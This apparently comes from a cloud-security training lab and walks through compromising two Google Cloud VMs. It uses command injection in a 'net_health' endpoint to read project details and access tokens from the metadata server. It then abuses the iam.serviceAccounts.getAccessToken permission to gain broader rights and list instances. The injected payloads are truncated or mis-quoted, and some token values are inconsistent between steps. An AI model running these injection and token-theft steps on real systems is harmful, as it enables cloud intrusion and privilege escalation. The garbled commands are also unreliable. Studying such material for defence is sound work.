

## The Plan:

```
target #1 -> 35.236.218.244
- CMDi
-- Collect Access Token
--- Try to list VMs
---- project: gcptraininggce002
---- zone: us-east4-c

target #2 -> 35.245.138.127
- CMDi
-- Collect Access Token
--- Try to list VMs
---- project: gcptraininggce002
---- zone: us-east4-c

- Use the access token from target #2 to leverage the "iam.serviceAccounts.getAccessToken" permission
-- to request an access token for the Service Account associated with target #2
--- Use this access token for the service account to list the VMs in the project, bypassing the previous restrictions
```

## Target #1

Collect the project name:

```
curl -G "http://35.236.218.244/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
...
---START---
gcptraininggce002
---END---
```

Collect scope:

```
curl -G "http://35.236.218.244/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
...
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/trace.append
...
```

Collect name of service account:

```
curl -G "http://35.236.218.244/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
...
919372049334-compute@developer.gserviceaccount.com/
default/
...
```

Notice, the service account name is "919372049334-compute@developer.gserviceaccount.com"

Collect the access token:

```
curl -G "http://35.236.218.244/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
{\"access_token\":\"ya2...ACCESS_TOKEN_TARGET_ONE...66Y\", \"expires_in\":3120, \"token_type\":\"Bearer\"}
```

The &#34; are double quotes (e.g. "), so translated it looks more like...

```
{\"access_token\":\"ya2...ACCESS_TOKEN_TARGET_ONE...66Y\", \"expires_in\":3120, \"token_type\":\"Bearer\"}
```

Try to list VMs:

```
curl -X GET -H "Authorization: Bearer ya2...ACCESS_TOKEN_TARGET_ONE...66Y" "https://compute.googleapis.com/compute/v1/projects/gcptraininggce002/zones/us-east4-c/instances"
```

We should see output similar to the following:

```
{
  "error": {
    "code": 403,
    "message": "Request had insufficient authentication scopes.",
    "errors": [
      {
        "message": "Insufficient Permission",
        "domain": "global",
        "reason": "insufficientPermissions"
      }
    ]
  },
  "status": "PERMISSION_DENIED"
}
```

## Target #2

Collect the project name:

```
curl -G "http://35.245.138.127/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
...
gcptraininggce002
...
```

Collect scope:

```
curl -G "http://35.245.138.127/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\"},"
```

We should see output similar to the following:

```
...
https://www.googleapis.com/auth/cloud-platform
...
```

Collect name of service account:

```
curl -G "http://35.245.138.127/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\\"Metadata-Flavor\" : \\"Google\\",}
```

We should see output similar to the following:

```
...
default/
gceadmin@gcptraininggce002.iam.gserviceaccount.com/
...
```

Notice, the service account name is "gceadmin@gcptraininggce002.iam.gserviceaccount.com"

Collect the access token:

```
curl -G "http://35.245.138.127/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\\"Metadata-Flavor\" : \\"Google\\",}
```

We should see output similar to the following:

```
{\"access_token\": \"ya2...ACCESS_TOKEN_TARGET_TWO...K8Q\", \"expires_in\": 2835, \"token_type\": \"Bearer\"}
```

The &#34; are double quotes (e.g. "), so translated it looks more like...

```
{\"access_token\": \"ya2...ACCESS_TOKEN_TARGET_TWO...K8Q\", \"expires_in\": 2835, \"token_type\": \"Bearer\"}
```

Try to list VMs:

```
curl -X GET -H \"Authorization: Bearer ya2...ACCESS_TOKEN_TARGET_TWO...0qw\" \"https://compute.googleapis.com/compute/v1/projects/gcptraininggce002/zones/us-east4-c/instances\"
```

We should see output similar to the following:

```
{
  \"error\": {
    \"code\": 403,
    \"message\": \"Required 'compute.instances.list' permission for 'projects/gcptraininggce002'\",
    \"errors\": [
      {
        \"message\": \"Required 'compute.instances.list' permission for 'projects/gcptraininggce002'\",
        \"domain\": \"global\",
        \"reason\": \"forbidden\"
      }
    ]
  }
}
```

## iam.serviceAccounts.getAccessToken

The "iam.serviceAccounts.getAccessToken" permission allows you to request an access token that belongs to a specified Service Account. We can escalate privileges by requesting an access token for a Service Account that has more privileges than us. The following shows an example of it, where the "iamcredentials" API is targeted to generate a new token.

Leveraging the access token from target #2, request an access token for the Service Account attached to target #1, but with a wider scope associated with the token, than was previously available via the SSRF/VM:

```
root@ip-10-0-1-90:~# cnoio_gcpsagetatoken
...
AccessToken: ya2...ACCESS_TOKEN_TARGET_TWO...0qw
...
ServiceAccountName: 919372049334-compute@developer.gserviceaccount.com
...
Press the [Enter] key to continue...
```

We should see output similar to the following:

```
{
  \"accessToken\": \"ya2...ACCESS_TOKEN_SERVICE_ACCOUNT...7-Q\",
  \"expireTime\": \"2020-07-30T02:09:48Z\"
}
```

Note, we can create the associated scopes for the token we are generating, edit the source of python script to modify the scope. The script defaults to the following scope:

```
https://www.googleapis.com/auth/iam
https://www.googleapis.com/auth/cloud-platform
```

Finally, leverage this new access token to list the VMs:

```
root@ip-10-0-1-90:~# curl -X GET -H \"Authorization: Bearer ya2...ACCESS_TOKEN_SERVICE_ACCOUNT...7-Q\" \"https://compute.googleapis.com/compute/v1/projects/gcptraininggce002/zones/us-east4-c/instances\"
```

We should see output similar to the following:

```
{
  \"id\": \"projects/gcptraininggce002/zones/us-east4-c/instances\",
  \"items\": [
    {
      \"id\": \"4974781293087090757\",
      \"creationTimestamp\": \"2020-07-24T14:46:19.464-07:00\",
      \"name\": \"instance-002\",
      \"description\": \"\",
      \"tags\": {
        \"items\": [
          \"http-server\",
          \"https-server\"
        ]
      },
      \"fingerprint\": \"6smc4R4d39I=\",
      \"machineType\": \"https://www.googleapis.com/compute/v1/projects/gcptraininggce002/zones/us-east4-c/machineTypes/n1-standard-1\",
      \"status\": \"RUNNING\",
      ...
    }
  ]
}
```

## References:

<https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/>

<https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/>

Copyright © 2020 Stage 2 Security, All rights reserved.